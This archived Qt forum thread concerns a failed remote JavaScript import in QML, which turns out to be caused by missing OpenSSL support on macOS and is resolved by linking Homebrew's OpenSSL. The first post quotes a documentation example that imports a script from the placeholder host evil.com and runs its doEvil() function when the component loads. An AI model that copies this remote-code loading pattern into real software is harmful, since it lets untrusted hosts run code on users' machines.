PDA

View Full Version : import a remote (from network) javascript doesn't work



clarksuper0420
10th October 2015, 10:38
Hi all,

I am trying to import a remote javascript as this example (http://doc.qt.io/qt-5/qtqml-documents-networktransparency.html)


import QtQuick 2.0
import "http://evil.com/evil.js" as Evil

Component {
onLoaded: Evil.doEvil()
}


However, when I try my application, I get the error : Script https://apis.google.com/js/client.js unavailable
My code:


import "https://apis.google.com/js/client.js" as GoogleApi



Is it because of https? Or I misunderstood the usage of this google API.

If I didn't explanation my question clear enough. Please kindly tell me.

Best regards,
Clark

ChrisW67
10th October 2015, 11:58
You quite probably do not have SSL support for Qt because you have not installed/deployed OpenSSL libraries.

clarksuper0420
11th October 2015, 08:55
You quite probably do not have SSL support for Qt because you have not installed/deployed OpenSSL libraries.

Hi Chris,

Thank you very much for your suggestion.
I am using Mac OS. So I try to follow this thread to solve my problem. (https://forum.qt.io/topic/55853/solved-openssl-and-mac-os-x)

Now, my openssl version is 1.0.2 which is up-to-date.
I also link to the ssl library by following code in my .pro file.


TEMPLATE = app

QT += qml quick widgets

SOURCES += main.cpp

RESOURCES += qml.qrc

LIBS += -L/usr/local/Cellar/openssl/1.0.2d_1/lib/ -lcrypto -lssl

INCLUDEPATH += /usr/local/Cellar/openssl/1.0.2d_1/include
DEPENDPATH += /usr/local/Cellar/openssl/1.0.2d_1/include

# Additional import path used to resolve QML modules in Qt Creator's code model
QML_IMPORT_PATH =

# Default rules for deployment.
include(deployment.pri)


I guess I must make some basic (stupid) mistake so I still get SSL warning when loading remote javascript from Google as below.
qt.network.ssl: QSslSocket: cannot resolve SSL_set_psk_client_callback
qt.network.ssl: QSslSocket: cannot resolve TLSv1_1_client_method
qt.network.ssl: QSslSocket: cannot resolve TLSv1_2_client_method
qt.network.ssl: QSslSocket: cannot resolve TLSv1_1_server_method
qt.network.ssl: QSslSocket: cannot resolve TLSv1_2_server_method
qt.network.ssl: QSslSocket: cannot resolve SSL_select_next_proto
qt.network.ssl: QSslSocket: cannot resolve SSL_CTX_set_next_proto_select_cb
qt.network.ssl: QSslSocket: cannot resolve SSL_get0_next_proto_negotiated
QQmlApplicationEngine failed to load component
qrc:/main.qml:5 Script https://apis.google.com/js/client.js unavailable
https://apis.google.com/js/client.js:-1 Network error


Could you think of any possible mistake in my processor?

Best regards,
Clark

ChrisW67
11th October 2015, 09:29
I am assuming that this is a binary distribution of Qt that has SSL support loosely coupled. You do not need to explicitly link the OpenSSL libraries to your app but they must be available in the run time environment of your application. I am not sure how that is arranged in the OS X world.

clarksuper0420
14th October 2015, 04:24
I solved my problem.
First of all, as Chris said. It's NOT necessary to add lib in .pro file. (LIBS += -L/usr/local/Cellar/openssl/1.0.2d_1/lib/ -lcrypto -lssl)

My problem was:
I followed this page to update my openssl (http://javigon.com/2014/04/09/update-openssl-in-osx/). However, this tutorial miss one important thing.
That is


@ brew link --force openssl.

I guess this command is important to generate needed link in the system.

For anyone who wants to solve this problem. You could also refer to http://apple.stackexchange.com/questions/126830/how-to-upgrade-openssl-in-os-x